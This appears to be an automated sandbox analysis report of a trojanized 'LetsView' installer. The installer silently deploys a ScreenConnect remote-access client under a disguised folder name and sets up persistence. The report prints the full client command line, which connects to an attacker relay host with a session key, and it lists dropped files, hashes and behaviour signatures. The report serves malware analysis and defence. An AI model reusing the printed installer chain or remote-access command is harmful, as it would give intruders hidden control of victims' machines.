Analysis

  • max time kernel
    298s
  • max time network
    291s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 02:45

General

  • Target
    LETSVIEW/letsview-setup.exe
  • Size 505KB
  • Sample260710-c8vd8act2k
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 28 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3104
    • C:\Users\Admin\AppData\Local\Temp\0e90bc27.exe
      "C:\Users\Admin\AppData\Local\Temp\0e90bc27.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4828
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\4A5794F2.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3872
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\7EB83EE2.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2920
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4172
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E1090DD48DADDC7EDC935C6CE36B7103
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI65A6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739921 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4532
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6B46E03FCE6FA143BB2537836F28CADD E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:1784
  • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=25c9e4e6-bcca-4453-8bee-d157c37c87cf&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=LETSVIEW&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe" "RunRole" "8fa17c64-c5f6-40f9-8b97-3c9df19969b0" "User"
      2⤵
      • Executes dropped EXE
      PID:4108
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:712

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596144.rbs

          • Path C:\Config.Msi\e596144.rbs
          • Size 214KB
          • SHA256 a96713f3c85284d0c48cdb3b4972be5973d10b7d0f807c39f2cdaf293f436622
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x64\system.config
          • Size 958B
          • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
          • MD5 SHA1 SHA512 TLSH

          0e90bc27.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0e90bc27.exe
          • Size 2.4MB
          • SHA256 9668ad0def75c0bfccfa01a0a8b4fe3aa24a4f386f0807871edb14b979ac51bf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4A5794F2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\4A5794F2.tmp
          • Size 12.8MB
          • SHA256 68b55d9b9c5c428a8edd744acfaea9d6607f8bfa95aec950e4541c9ebf579082
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dxsetup_dbg.log

          • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
          • Size 1KB
          • SHA256 bad8c809f09c9db785f52efd45948838718a6d898ee7db8b004dd77c8cb433f4
          • MD5 SHA1 SHA512 TLSH

          MSI65A6.tmp

          • Path C:\Windows\Installer\MSI65A6.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI65A6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI65A6.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI65A6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI65A6.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6BA3.tmp

          • Path C:\Windows\Installer\MSI6BA3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          DXError.log

          • Path C:\Windows\Logs\DXError.log
          • Size 554B
          • SHA256 ddbbc30d66ffecd2208eef3e478f72baa8d846d76924053e1e159e05ab1c67bc
          • MD5 SHA1 SHA512 TLSH

          2job143s.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\2job143s.newcfg
          • Size 584B
          • SHA256 7c9dec3ae21a6837aa7c53eda388536eae82f145785d5343cad4cd60520893ac
          • MD5 SHA1 SHA512 TLSH

          3wvbdijg.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\3wvbdijg.newcfg
          • Size 584B
          • SHA256 4a8e429dfc0240c2695daaca789452431fdce2efbf370f4424ad0e46811c8d54
          • MD5 SHA1 SHA512 TLSH

          4255rpi1.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\4255rpi1.newcfg
          • Size 584B
          • SHA256 5d8e28ca72dda5f38e2d3409de92dca6fa7c9537e2f7792150548105329c1663
          • MD5 SHA1 SHA512 TLSH

          fd202fbp.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\fd202fbp.newcfg
          • Size 584B
          • SHA256 7391d0386e62b9e79156d44b7dc83b66ee853c4fe2cc7690ac1669922c18f0fb
          • MD5 SHA1 SHA512 TLSH

          jtgouij4.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\jtgouij4.newcfg
          • Size 584B
          • SHA256 e596d21f1f0bae8b8262909e79505a8e7efbc3818acc0b7954e341213970a694
          • MD5 SHA1 SHA512 TLSH

          kcspvyup.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\kcspvyup.newcfg
          • Size 584B
          • SHA256 fec9b41554d563d7c373602e7ffe6df3fad640859400d699ef23ccfc85b94f50
          • MD5 SHA1 SHA512 TLSH

          mdalwdyo.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\mdalwdyo.newcfg
          • Size 584B
          • SHA256 c480c7b71c82ba32d767f10e6710cd1ff8797cce7467beba69ca154e26433e4a
          • MD5 SHA1 SHA512 TLSH

          rfcymqke.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\rfcymqke.newcfg
          • Size 584B
          • SHA256 45c343bac3041a470e18b9c421b3f5796f3f7831fed5088d6ccb3b72ca530066
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
          • Size 584B
          • SHA256 94571d259a53883b16ee22cb4805d91b6ca6b545131430874ccf3a8891d4a8a2
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
          • Size 584B
          • SHA256 c72926df02e4476b2ef4cda747afd10c0ed7c9e625c1f49b6ab85a8c4f12ddf3
          • MD5 SHA1 SHA512 TLSH

          wrsdjaz3.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\wrsdjaz3.newcfg
          • Size 584B
          • SHA256 e4318aa9e4242af913c15171d43d1d3f5896266f8b659e23a185def7001bb214
          • MD5 SHA1 SHA512 TLSH

          memory/2284-167-0x00000000042E0000-0x00000000043B5000-memory.dmp

          memory/2284-165-0x0000000003E30000-0x0000000003E71000-memory.dmp

          memory/2284-163-0x00000000040F0000-0x0000000004182000-memory.dmp

          memory/2284-157-0x0000000003DF0000-0x0000000003E26000-memory.dmp

          memory/2284-147-0x0000000003DA0000-0x0000000003DF0000-memory.dmp

          memory/2284-136-0x0000000003B40000-0x0000000003B58000-memory.dmp

          memory/4108-177-0x000000001B450000-0x000000001B4DE000-memory.dmp

          memory/4108-181-0x0000000002630000-0x0000000002648000-memory.dmp

          memory/4108-180-0x00000000025B0000-0x00000000025C8000-memory.dmp

          memory/4108-178-0x000000001B690000-0x000000001B83C000-memory.dmp

          memory/4108-179-0x000000001B9D0000-0x000000001BB58000-memory.dmp

          memory/4108-176-0x00000000025F0000-0x0000000002626000-memory.dmp

          memory/4108-175-0x00000000003E0000-0x0000000000478000-memory.dmp

          memory/4532-97-0x0000000005E70000-0x000000000642A000-memory.dmp

          memory/4532-96-0x0000000005700000-0x00000000058AC000-memory.dmp

          memory/4532-92-0x00000000054B0000-0x000000000553E000-memory.dmp

          memory/4532-88-0x0000000005410000-0x000000000541A000-memory.dmp

          memory/4532-84-0x00000000053E0000-0x000000000540E000-memory.dmp